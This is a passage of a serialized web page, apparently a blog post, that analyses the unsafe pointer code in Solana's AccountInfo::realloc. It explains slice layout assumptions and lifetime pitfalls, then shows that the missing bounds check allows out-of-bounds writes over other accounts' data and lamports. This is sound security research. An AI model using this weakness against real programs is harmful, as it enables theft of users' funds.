Err",{"type":24,"tag":327,"props":23269,"children":23270},{"style":346},[23271],{"type":29,"value":349},{"type":24,"tag":327,"props":23273,"children":23274},{"style":1639},[23275],{"type":29,"value":23276},"InstructionError",{"type":24,"tag":327,"props":23278,"children":23279},{"style":381},[23280],{"type":29,"value":2407},{"type":24,"tag":327,"props":23282,"children":23283},{"style":1639},[23284],{"type":29,"value":23285},"ExecutableDataModified",{"type":24,"tag":327,"props":23287,"children":23288},{"style":346},[23289],{"type":29,"value":583},{"type":24,"tag":327,"props":23291,"children":23292},{"class":329,"line":557},[23293,23297,23301,23306,23310],{"type":24,"tag":327,"props":23294,"children":23295},{"style":346},[23296],{"type":29,"value":487},{"type":24,"tag":327,"props":23298,"children":23299},{"style":425},[23300],{"type":29,"value":492},{"type":24,"tag":327,"props":23302,"children":23303},{"style":425},[23304],{"type":29,"value":23305}," if",{"type":24,"tag":327,"props":23307,"children":23308},{"style":356},[23309],{"type":29,"value":23147},{"type":24,"tag":327,"props":23311,"children":23312},{"style":346},[23313],{"type":29,"value":497},{"type":24,"tag":327,"props":23315,"children":23316},{"class":329,"line":586},[23317,23321,23325,23329,23333,23337,23342],{"type":24,"tag":327,"props":23318,"children":23319},{"style":425},[23320],{"type":29,"value":4944},{"type":24,"tag":327,"props":23322,"children":23323},{"style":1639},[23324],{"type":29,"value":23267},{"type":24,"tag":327,"props":23326,"children":23327},{"style":346},[23328],{"type":29,"value":349},{"type":24,"tag":327,"props":23330,"children":23331},{"style":1639},[23332],{"type":29,"value":23276},{"type":24,"tag":327,"props":23334,"children":23335},{"style":381},[23336],{"type":29,"value":2407},{"type":24,"tag":327,"props":23338,"children":23339},{"style":1639},[23340],{"type":29,"value":23341},"ExternalAccountDataModified",{"type":24,"tag":327,"props":23343,"children":23344},{"style":346},[23345],{"type":29,"value":583},{"type":24,"tag":327,"props":23347,"children":23348},{"class":329,"line":1017},[23349,23353,23357],{"type":24,"tag":327,"props":23350,"children":23351},{"style":346},[23352],{"type":29,"value":487},{"type":24,"tag":327,"props":23354,"children":23355},{"style":425},[23356],{"type":29,"value":492},{"type":24,"tag":327,"props":23358,"children":23359},{"style":346},[23360],{"type":29,"value":497},{"type":24,"tag":327,"props":23362,"children":23363},{"class":329,"line":1026},[23364,23368,23372,23376,23380,23384,23389],{"type":24,"tag":327,"props":23365,"children":23366},{"style":425},[23367],{"type":29,"value":4944},{"type":24,"tag":327,"props":23369,"children":23370},{"style":1639},[23371],{"type":29,"value":23267},{"type":24,"tag":327,"props":23373,"children":23374},{"style":346},[23375],{"type":29,"value":349},{"type":24,"tag":327,"props":23377,"children":23378},{"style":1639},[23379],{"type":29,"value":23276},{"type":24,"tag":327,"props":23381,"children":23382},{"style":381},[23383],{"type":29,"value":2407},{"type":24,"tag":327,"props":23385,"children":23386},{"style":1639},[23387],{"type":29,"value":23388},"ReadonlyDataModified",{"type":24,"tag":327,"props":23390,"children":23391},{"style":346},[23392],{"type":29,"value":583},{"type":24,"tag":327,"props":23394,"children":23395},{"class":329,"line":1048},[23396],{"type":24,"tag":327,"props":23397,"children":23398},{"style":346},[23399],{"type":29,"value":535},{"type":24,"tag":327,"props":23401,"children":23402},{"class":329,"line":1067},[23403],{"type":24,"tag":327,"props":23404,"children":23405},{"style":346},[23406],{"type":29,"value":592},{"type":24,"tag":235,"props":23408,"children":23410},{"id":23409},"back-to-realloc",[23411,23413],{"type":29,"value":23412},"Back to ",{"type":24,"tag":284,"props":23414,"children":23416},{"className":23415},[],[23417],{"type":29,"value":21179},{"type":24,"tag":25,"props":23419,"children":23420},{},[23421],{"type":29,"value":23422},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":317,"props":23424,"children":23425},{"className":1553,"code":21920,"language":1552,"meta":7,"style":7},[23426],{"type":24,"tag":284,"props":23427,"children":23428},{"__ignoreMap":7},[23429,23436,23523],{"type":24,"tag":327,"props":23430,"children":23431},{"class":329,"line":330},[23432],{"type":24,"tag":327,"props":23433,"children":23434},{"style":551},[23435],{"type":29,"value":21932},{"type":24,"tag":327,"props":23437,"children":23438},{"class":329,"line":367},[23439,23443,23447,23451,23455,23459,23463,23467,23471,23475,23479,23483,23487,23491,23495,23499,23503,23507,23511,23515,23519],{"type":24,"tag":327,"props":23440,"children":23441},{"style":334},[23442],{"type":29,"value":19334},{"type":24,"tag":327,"props":23444,"children":23445},{"style":356},[23446],{"type":29,"value":21391},{"type":24,"tag":327,"props":23448,"children":23449},{"style":381},[23450],{"type":29,"value":4809},{"type":24,"tag":327,"props":23452,"children":23453},{"style":334},[23454],{"type":29,"value":2171},{"type":24,"tag":327,"props":23456,"children":23457},{"style":381},[23458],{"type":29,"value":66},{"type":24,"tag":327,"props":23460,"children":23461},{"style":340},[23462],{"type":29,"value":21408},{"type":24,"tag":327,"props":23464,"children":23465},{"style":346},[23466],{"type":29,"value":7616},{"type":24,"tag":327,"props":23468,"children":23469},{"style":381},[23470],{"type":29,"value":10740},{"type":24,"tag":327,"props":23472,"children":23473},{"style":340},[23474],{"type":29,"value":21421},{"type":24,"tag":327,"props":23476,"children":23477},{"style":346},[23478],{"type":29,"value":7616},{"type":24,"tag":327,"props":23480,"children":23481},{"style":381},[23482],{"type":29,"value":66},{"type":24,"tag":327,"props":23484,"children":23485},{"style":340},[23486],{"type":29,"value":21434},{"type":24,"tag":327,"props":23488,"children":23489},{"style":346},[23490],{"type":29,"value":349},{"type":24,"tag":327,"props":23492,"children":23493},{"style":381},[23494],{"type":29,"value":11899},{"type":24,"tag":327,"props":23496,"children":23497},{"style":397},[23498],{"type":29,"value":11653},{"type":24,"tag":327,"props":23500,"children":23501},{"style":346},[23502],{"type":29,"value":1674},{"type":24,"tag":327,"props":23504,"children":23505},{"style":334},[23506],{"type":29,"value":2479},{"type":24,"tag":327,"props":23508,"children":23509},{"style":381},[23510],{"type":29,"value":17364},{"type":24,"tag":327,"props":23512,"children":23513},{"style":334},[23514],{"type":29,"value":2099},{"type":24,"tag":327,"props":23516,"children":23517},{"style":1639},[23518],{"type":29,"value":1669},{"type":24,"tag":327,"props":23520,"children":23521},{"style":346},[23522],{"type":29,"value":405},{"type":24,"tag":327,"props":23524,"children":23525},{"class":329,"line":408},[23526,23530,23534,23538,23542,23546,23550],{"type":24,"tag":327,"props":23527,"children":23528},{"style":381},[23529],{"type":29,"value":469},{"type":24,"tag":327,"props":23531,"children":23532},{"style":356},[23533],{"type":29,"value":21482},{"type":24,"tag":327,"props":23535,"children":23536},{"style":381},[23537],{"type":29,"value":4809},{"type":24,"tag":327,"props":23539,"children":23540},{"style":356},[23541],{"type":29,"value":21491},{"type":24,"tag":327,"props":23543,"children":23544},{"style":334},[23545],{"type":29,"value":2417},{"type":24,"tag":327,"props":23547,"children":23548},{"style":1639},[23549],{"type":29,"value":1669},{"type":24,"tag":327,"props":23551,"children":23552},{"style":346},[23553],{"type":29,"value":405},{"type":24,"tag":25,"props":23555,"children":23556},{},[23557,23562,23564,23569,23571,23576,23578,23589,23591,23596,23598,23603],{"type":24,"tag":284,"props":23558,"children":23560},{"className":23559},[],[23561],{"type":29,"value":21408},{"type":29,"value":23563}," gives us the ",{"type":24,"tag":284,"props":23565,"children":23567},{"className":23566},[],[23568],{"type":29,"value":22985},{"type":29,"value":23570}," from the ",{"type":24,"tag":284,"props":23572,"children":23574},{"className":23573},[],[23575],{"type":29,"value":22860},{"type":29,"value":23577},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":57,"props":23579,"children":23582},{"href":23580,"rel":23581},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[61],[23583],{"type":24,"tag":284,"props":23584,"children":23586},{"className":23585},[],[23587],{"type":29,"value":23588},"slice::as_mut_ptr()",{"type":29,"value":23590}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":284,"props":23592,"children":23594},{"className":23593},[],[23595],{"type":29,"value":15603},{"type":29,"value":23597}," - behind the data buffer), and then writes ",{"type":24,"tag":284,"props":23599,"children":23601},{"className":23600},[],[23602],{"type":29,"value":21260},{"type":29,"value":23604}," to it.",{"type":24,"tag":25,"props":23606,"children":23607},{},[23608,23610,23622,23624,23630],{"type":29,"value":23609},"This is reasonable... ",{"type":24,"tag":42,"props":23611,"children":23612},{},[23613,23615,23620],{"type":29,"value":23614},"as long as the ",{"type":24,"tag":284,"props":23616,"children":23618},{"className":23617},[],[23619],{"type":29,"value":11298},{"type":29,"value":23621}," actually came from the serialized buffer",{"type":29,"value":23623},". We'll come back to this ",{"type":24,"tag":57,"props":23625,"children":23627},{"href":23626},"#Not-contracts",[23628],{"type":29,"value":23629},"later",{"type":29,"value":66},{"type":24,"tag":25,"props":23632,"children":23633},{},[23634,23636,23641],{"type":29,"value":23635},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":284,"props":23637,"children":23639},{"className":23638},[],[23640],{"type":29,"value":22985},{"type":29,"value":23642}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":317,"props":23644,"children":23646},{"className":1553,"code":23645,"language":1552,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[23647],{"type":24,"tag":284,"props":23648,"children":23649},{"__ignoreMap":7},[23650,23658,23785],{"type":24,"tag":327,"props":23651,"children":23652},{"class":329,"line":330},[23653],{"type":24,"tag":327,"props":23654,"children":23655},{"style":551},[23656],{"type":29,"value":23657},"// Then set the new length in the local slice\n",{"type":24,"tag":327,"props":23659,"children":23660},{"class":329,"line":367},[23661,23665,23669,23673,23677,23681,23685,23689,23693,23697,23701,23705,23709,23713,23717,23721,23725,23729,23733,23737,23741,23745,23749,23753,23757,23761,23765,23769,23773,23777,23781],{"type":24,"tag":327,"props":23662,"children":23663},{"style":334},[23664],{"type":29,"value":19334},{"type":24,"tag":327,"props":23666,"children":23667},{"style":356},[23668],{"type":29,"value":21391},{"type":24,"tag":327,"props":23670,"children":23671},{"style":381},[23672],{"type":29,"value":4809},{"type":24,"tag":327,"props":23674,"children":23675},{"style":381},[23676],{"type":29,"value":14704},{"type":24,"tag":327,"props":23678,"children":23679},{"style":334},[23680],{"type":29,"value":2099},{"type":24,"tag":327,"props":23682,"children":23683},{"style":381},[23684],{"type":29,"value":17364},{"type":24,"tag":327,"props":23686,"children":23687},{"style":346},[23688],{"type":29,"value":21550},{"type":24,"tag":327,"props":23690,"children":23691},{"style":334},[23692],{"type":29,"value":2345},{"type":24,"tag":327,"props":23694,"children":23695},{"style":381},[23696],{"type":29,"value":66},{"type":24,"tag":327,"props":23698,"children":23699},{"style":346},[23700],{"type":29,"value":11298},{"type":24,"tag":327,"props":23702,"children":23703},{"style":381},[23704],{"type":29,"value":66},{"type":24,"tag":327,"props":23706,"children":23707},{"style":340},[23708],{"type":29,"value":21571},{"type":24,"tag":327,"props":23710,"children":23711},{"style":346},[23712],{"type":29,"value":7338},{"type":24,"tag":327,"props":23714,"children":23715},{"style":334},[23716],{"type":29,"value":2479},{"type":24,"tag":327,"props":23718,"children":23719},{"style":381},[23720],{"type":29,"value":17364},{"type":24,"tag":327,"props":23722,"children":23723},{"style":334},[23724],{"type":29,"value":17202},{"type":24,"tag":327,"props":23726,"children":23727},{"style":1639},[23728],{"type":29,"value":1669},{"type":24,"tag":327,"props":23730,"children":23731},{"style":346},[23732],{"type":29,"value":3146},{"type":24,"tag":327,"props":23734,"children":23735},{"style":381},[23736],{"type":29,"value":66},{"type":24,"tag":327,"props":23738,"children":23739},{"style":340},[23740],{"type":29,"value":21434},{"type":24,"tag":327,"props":23742,"children":23743},{"style":346},[23744],{"type":29,"value":349},{"type":24,"tag":327,"props":23746,"children":23747},{"style":397},[23748],{"type":29,"value":3238},{"type":24,"tag":327,"props":23750,"children":23751},{"style":346},[23752],{"type":29,"value":1674},{"type":24,"tag":327,"props":23754,"children":23755},{"style":334},[23756],{"type":29,"value":2479},{"type":24,"tag":327,"props":23758,"children":23759},{"style":1639},[23760],{"type":29,"value":1669},{"type":24,"tag":327,"props":23762,"children":23763},{"style":346},[23764],{"type":29,"value":1674},{"type":24,"tag":327,"props":23766,"children":23767},{"style":334},[23768],{"type":29,"value":2479},{"type":24,"tag":327,"props":23770,"children":23771},{"style":381},[23772],{"type":29,"value":17364},{"type":24,"tag":327,"props":23774,"children":23775},{"style":334},[23776],{"type":29,"value":2099},{"type":24,"tag":327,"props":23778,"children":23779},{"style":1639},[23780],{"type":29,"value":1669},{"type":24,"tag":327,"props":23782,"children":23783},{"style":346},[23784],{"type":29,"value":583},{"type":24,"tag":327,"props":23786,"children":23787},{"class":329,"line":408},[23788,23792,23796,23800,23804,23808,23812],{"type":24,"tag":327,"props":23789,"children":23790},{"style":381},[23791],{"type":29,"value":469},{"type":24,"tag":327,"props":23793,"children":23794},{"style":356},[23795],{"type":29,"value":21482},{"type":24,"tag":327,"props":23797,"children":23798},{"style":381},[23799],{"type":29,"value":4809},{"type":24,"tag":327,"props":23801,"children":23802},{"style":356},[23803],{"type":29,"value":21491},{"type":24,"tag":327,"props":23805,"children":23806},{"style":334},[23807],{"type":29,"value":2417},{"type":24,"tag":327,"props":23809,"children":23810},{"style":1639},[23811],{"type":29,"value":1669},{"type":24,"tag":327,"props":23813,"children":23814},{"style":346},[23815],{"type":29,"value":405},{"type":24,"tag":25,"props":23817,"children":23818},{},[23819,23821,23827,23829,23840,23842,23848,23850,23856,23858,23863,23865,23869,23871,23881,23882,23888,23889,23896,23903,23905,23911,23913,23919,23921,23926,23928,23933,23935,23941,23943,23948],{"type":29,"value":23820},"That ",{"type":24,"tag":284,"props":23822,"children":23824},{"className":23823},[],[23825],{"type":29,"value":23826},"as_ptr()",{"type":29,"value":23828}," call is ",{"type":24,"tag":57,"props":23830,"children":23833},{"href":23831,"rel":23832},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[61],[23834],{"type":24,"tag":284,"props":23835,"children":23837},{"className":23836},[],[23838],{"type":29,"value":23839},"RefCell::as_ptr()",{"type":29,"value":23841}," due to the ",{"type":24,"tag":284,"props":23843,"children":23845},{"className":23844},[],[23846],{"type":29,"value":23847},"Deref",{"type":29,"value":23849}," impl on ",{"type":24,"tag":284,"props":23851,"children":23853},{"className":23852},[],[23854],{"type":29,"value":23855},"Rc",{"type":29,"value":23857}," (remember also that ",{"type":24,"tag":284,"props":23859,"children":23861},{"className":23860},[],[23862],{"type":29,"value":23026},{"type":29,"value":23864}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":42,"props":23866,"children":23867},{},[23868],{"type":29,"value":5330},{"type":29,"value":23870}," one through ",{"type":24,"tag":57,"props":23872,"children":23875},{"href":23873,"rel":23874},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[61],[23876],{"type":24,"tag":284,"props":23877,"children":23879},{"className":23878},[],[23880],{"type":29,"value":16361},{"type":29,"value":14024},{"type":24,"tag":57,"props":23883,"children":23886},{"href":23884,"rel":23885},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[61],[23887],{"type":29,"value":46},{"type":29,"value":14024},{"type":24,"tag":57,"props":23890,"children":23893},{"href":23891,"rel":23892},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[61],[23894],{"type":29,"value":23895},"frie",{"type":24,"tag":57,"props":23897,"children":23900},{"href":23898,"rel":23899},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[61],[23901],{"type":29,"value":23902},"nds",{"type":29,"value":23904},"). So from ",{"type":24,"tag":284,"props":23906,"children":23908},{"className":23907},[],[23909],{"type":29,"value":23910},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":23912}," we get a ",{"type":24,"tag":284,"props":23914,"children":23916},{"className":23915},[],[23917],{"type":29,"value":23918},"*mut &mut [u8]",{"type":29,"value":23920}," - a ",{"type":24,"tag":42,"props":23922,"children":23923},{},[23924],{"type":29,"value":23925},"pointer",{"type":29,"value":23927}," to the ",{"type":24,"tag":42,"props":23929,"children":23930},{},[23931],{"type":29,"value":23932},"slice reference",{"type":29,"value":23934},". From here, we turn the pointer into a ",{"type":24,"tag":284,"props":23936,"children":23938},{"className":23937},[],[23939],{"type":29,"value":23940},"*const u64",{"type":29,"value":23942}," pointer and then offset by 1 ",{"type":24,"tag":284,"props":23944,"children":23946},{"className":23945},[],[23947],{"type":29,"value":15603},{"type":29,"value":23949}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":25,"props":23951,"children":23952},{},[23953,23955,23960,23962,23967,23969,23974,23976,23981,23983,23989],{"type":29,"value":23954},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":57,"props":23956,"children":23958},{"href":23957},"#Towards-safer-unsafe",[23959],{"type":29,"value":23629},{"type":29,"value":23961}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":284,"props":23963,"children":23965},{"className":23964},[],[23966],{"type":29,"value":15603},{"type":29,"value":23968}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":42,"props":23970,"children":23971},{},[23972],{"type":29,"value":23973},"reference",{"type":29,"value":23975}," (the ",{"type":24,"tag":284,"props":23977,"children":23979},{"className":23978},[],[23980],{"type":29,"value":22985},{"type":29,"value":23982},").So, what does ",{"type":24,"tag":284,"props":23984,"children":23986},{"className":23985},[],[23987],{"type":29,"value":23988},"&[T]",{"type":29,"value":23990}," look like in Rust?",{"type":24,"tag":25,"props":23992,"children":23993},{},[23994,23996,24003,24005,24018,24020,24026],{"type":29,"value":23995},"According to ",{"type":24,"tag":57,"props":23997,"children":24000},{"href":23998,"rel":23999},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[61],[24001],{"type":29,"value":24002},"the reference",{"type":29,"value":24004},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":57,"props":24006,"children":24009},{"href":24007,"rel":24008},"https://doc.rust-lang.org/reference/type-layout.html",[61],[24010,24012,24016],{"type":29,"value":24011},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":327,"props":24013,"children":24014},{},[24015],{"type":29,"value":1922},{"type":29,"value":24017}," we only document what is guaranteed today\"",{"type":29,"value":24019},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":284,"props":24021,"children":24023},{"className":24022},[],[24024],{"type":29,"value":24025},"rustc",{"type":29,"value":24027},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":317,"props":24029,"children":24031},{"className":321,"code":24030,"language":320,"meta":7,"style":7},"// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[24032],{"type":24,"tag":284,"props":24033,"children":24034},{"__ignoreMap":7},[24035,24043,24055,24072,24085],{"type":24,"tag":327,"props":24036,"children":24037},{"class":329,"line":330},[24038],{"type":24,"tag":327,"props":24039,"children":24040},{"style":551},[24041],{"type":29,"value":24042},"// C language\n",{"type":24,"tag":327,"props":24044,"children":24045},{"class":329,"line":367},[24046,24050],{"type":24,"tag":327,"props":24047,"children":24048},{"style":334},[24049],{"type":29,"value":2195},{"type":24,"tag":327,"props":24051,"children":24052},{"style":346},[24053],{"type":29,"value":24054}," slice_ref {\n",{"type":24,"tag":327,"props":24056,"children":24057},{"class":329,"line":408},[24058,24063,24067],{"type":24,"tag":327,"props":24059,"children":24060},{"style":334},[24061],{"type":29,"value":24062},"    void",{"type":24,"tag":327,"props":24064,"children":24065},{"style":381},[24066],{"type":29,"value":469},{"type":24,"tag":327,"props":24068,"children":24069},{"style":346},[24070],{"type":29,"value":24071}," ptr;\n",{"type":24,"tag":327,"props":24073,"children":24074},{"class":329,"line":421},[24075,24080],{"type":24,"tag":327,"props":24076,"children":24077},{"style":334},[24078],{"type":29,"value":24079},"    size_t",{"type":24,"tag":327,"props":24081,"children":24082},{"style":346},[24083],{"type":29,"value":24084}," len;\n",{"type":24,"tag":327,"props":24086,"children":24087},{"class":329,"line":450},[24088],{"type":24,"tag":327,"props":24089,"children":24090},{"style":346},[24091],{"type":29,"value":24092},"};\n",{"type":24,"tag":25,"props":24094,"children":24095},{},[24096],{"type":29,"value":24097},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":175,"props":24099,"children":24100},{},[24101,24106,24123],{"type":24,"tag":179,"props":24102,"children":24103},{},[24104],{"type":29,"value":24105},"Slices are laid out in the precise manner described",{"type":24,"tag":179,"props":24107,"children":24108},{},[24109,24111,24116,24118],{"type":29,"value":24110},"Pointers and ",{"type":24,"tag":284,"props":24112,"children":24114},{"className":24113},[],[24115],{"type":29,"value":7509},{"type":29,"value":24117}," are the same width as ",{"type":24,"tag":284,"props":24119,"children":24121},{"className":24120},[],[24122],{"type":29,"value":15603},{"type":24,"tag":179,"props":24124,"children":24125},{},[24126,24127,24132],{"type":29,"value":1713},{"type":24,"tag":284,"props":24128,"children":24130},{"className":24129},[],[24131],{"type":29,"value":23026},{"type":29,"value":24133}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":25,"props":24135,"children":24136},{},[24137,24139,24144,24146,24152,24154,24159,24161,24167,24169,24174,24176,24186],{"type":29,"value":24138},"Assumption #2 is ",{"type":24,"tag":42,"props":24140,"children":24141},{},[24142],{"type":29,"value":24143},"probably",{"type":29,"value":24145}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":284,"props":24147,"children":24149},{"className":24148},[],[24150],{"type":29,"value":24151},"borrow_mut",{"type":29,"value":24153}," of the ",{"type":24,"tag":284,"props":24155,"children":24157},{"className":24156},[],[24158],{"type":29,"value":23026},{"type":29,"value":24160}," (through ",{"type":24,"tag":284,"props":24162,"children":24164},{"className":24163},[],[24165],{"type":29,"value":24166},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":24168},"), and ",{"type":24,"tag":284,"props":24170,"children":24172},{"className":24171},[],[24173],{"type":29,"value":23026},{"type":29,"value":24175}," is not usable between multiple threads",{"type":24,"tag":22996,"props":24177,"children":24178},{},[24179],{"type":24,"tag":57,"props":24180,"children":24184},{"href":24181,"ariaDescribedBy":24182,"dataFootnoteRef":7,"id":24183},"#user-content-fn-sendsync",[23003],"user-content-fnref-sendsync",[24185],{"type":29,"value":10731},{"type":29,"value":24187},", so we already have exclusive access.",{"type":24,"tag":25,"props":24189,"children":24190},{},[24191,24193,24197],{"type":29,"value":24192},"A few more ",{"type":24,"tag":42,"props":24194,"children":24195},{},[24196],{"type":29,"value":14671},{"type":29,"value":24198}," things of note, that could have gone badly but didn't:",{"type":24,"tag":1380,"props":24200,"children":24201},{},[24202,24244],{"type":24,"tag":179,"props":24203,"children":24204},{},[24205,24207,24213,24215,24220,24222,24227,24229,24234,24236,24242],{"type":29,"value":24206},"By reborrowing the pointer (the ",{"type":24,"tag":284,"props":24208,"children":24210},{"className":24209},[],[24211],{"type":29,"value":24212},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":24214},"), we've created a reference with an ",{"type":24,"tag":42,"props":24216,"children":24217},{},[24218],{"type":29,"value":24219},"unbounded lifetime",{"type":29,"value":24221},". Rust is free to infer ",{"type":24,"tag":42,"props":24223,"children":24224},{},[24225],{"type":29,"value":24226},"any",{"type":29,"value":24228}," lifetime for ",{"type":24,"tag":284,"props":24230,"children":24232},{"className":24231},[],[24233],{"type":29,"value":21482},{"type":29,"value":24235}," (including ",{"type":24,"tag":284,"props":24237,"children":24239},{"className":24238},[],[24240],{"type":29,"value":24241},"'static",{"type":29,"value":24243},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":179,"props":24245,"children":24246},{},[24247,24249,24255,24257,24262,24264,24269,24271,24276,24278,24283,24285,24290,24292,24297,24299,24305,24307,24312,24314,24319,24321,24326,24328,24333,24335,24340],{"type":29,"value":24248},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":284,"props":24250,"children":24252},{"className":24251},[],[24253],{"type":29,"value":24254},"RefMut",{"type":29,"value":24256}," returned from ",{"type":24,"tag":284,"props":24258,"children":24260},{"className":24259},[],[24261],{"type":29,"value":21408},{"type":29,"value":24263},", but the ",{"type":24,"tag":284,"props":24265,"children":24267},{"className":24266},[],[24268],{"type":29,"value":24254},{"type":29,"value":24270}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":284,"props":24272,"children":24274},{"className":24273},[],[24275],{"type":29,"value":21482},{"type":29,"value":24277}," a ",{"type":24,"tag":42,"props":24279,"children":24280},{},[24281],{"type":29,"value":24282},"mutable",{"type":29,"value":24284}," pointer to the ",{"type":24,"tag":284,"props":24286,"children":24288},{"className":24287},[],[24289],{"type":29,"value":23026},{"type":29,"value":24291},"'s data, but the ",{"type":24,"tag":284,"props":24293,"children":24295},{"className":24294},[],[24296],{"type":29,"value":23026},{"type":29,"value":24298}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":284,"props":24300,"children":24302},{"className":24301},[],[24303],{"type":29,"value":24304},"Mutex",{"type":29,"value":24306}," instead of a ",{"type":24,"tag":284,"props":24308,"children":24310},{"className":24309},[],[24311],{"type":29,"value":23026},{"type":29,"value":24313}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":284,"props":24315,"children":24317},{"className":24316},[],[24318],{"type":29,"value":21482},{"type":29,"value":24320}," and writing to it ",{"type":24,"tag":42,"props":24322,"children":24323},{},[24324],{"type":29,"value":24325},"and succeed",{"type":29,"value":24327},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":284,"props":24329,"children":24331},{"className":24330},[],[24332],{"type":29,"value":21482},{"type":29,"value":24334}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":284,"props":24336,"children":24338},{"className":24337},[],[24339],{"type":29,"value":11298},{"type":29,"value":24341}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":25,"props":24343,"children":24344},{},[24345,24347,24352],{"type":29,"value":24346},"Ok, now that we've understood what the code is ",{"type":24,"tag":42,"props":24348,"children":24349},{},[24350],{"type":29,"value":24351},"trying",{"type":29,"value":24353}," to do, let's try to break it, shall we?",{"type":24,"tag":228,"props":24355,"children":24357},{"id":24356},"what-can-go-wrong",[24358],{"type":29,"value":24359},"What can go wrong?",{"type":24,"tag":235,"props":24361,"children":24363},{"id":24362},"contracts",[24364],{"type":29,"value":24365},"Contracts",{"type":24,"tag":25,"props":24367,"children":24368},{},[24369,24371,24376,24378,24383,24385,24390,24392,24397],{"type":29,"value":24370},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":284,"props":24372,"children":24374},{"className":24373},[],[24375],{"type":29,"value":21179},{"type":29,"value":24377},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":284,"props":24379,"children":24381},{"className":24380},[],[24382],{"type":29,"value":21179},{"type":29,"value":24384}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":284,"props":24386,"children":24388},{"className":24387},[],[24389],{"type":29,"value":22817},{"type":29,"value":24391}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":284,"props":24393,"children":24395},{"className":24394},[],[24396],{"type":29,"value":11298},{"type":29,"value":24398}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":25,"props":24400,"children":24401},{},[24402,24404,24411],{"type":29,"value":24403},"There is ",{"type":24,"tag":57,"props":24405,"children":24408},{"href":24406,"rel":24407},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[61],[24409],{"type":29,"value":24410},"a check",{"type":29,"value":24412}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":317,"props":24414,"children":24416},{"className":1553,"code":24415,"language":1552,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[24417],{"type":24,"tag":284,"props":24418,"children":24419},{"__ignoreMap":7},[24420,24458,24488,24495,24527],{"type":24,"tag":327,"props":24421,"children":24422},{"class":329,"line":330},[24423,24427,24432,24436,24440,24444,24448,24453],{"type":24,"tag":327,"props":24424,"children":24425},{"style":425},[24426],{"type":29,"value":5999},{"type":24,"tag":327,"props":24428,"children":24429},{"style":356},[24430],{"type":29,"value":24431}," 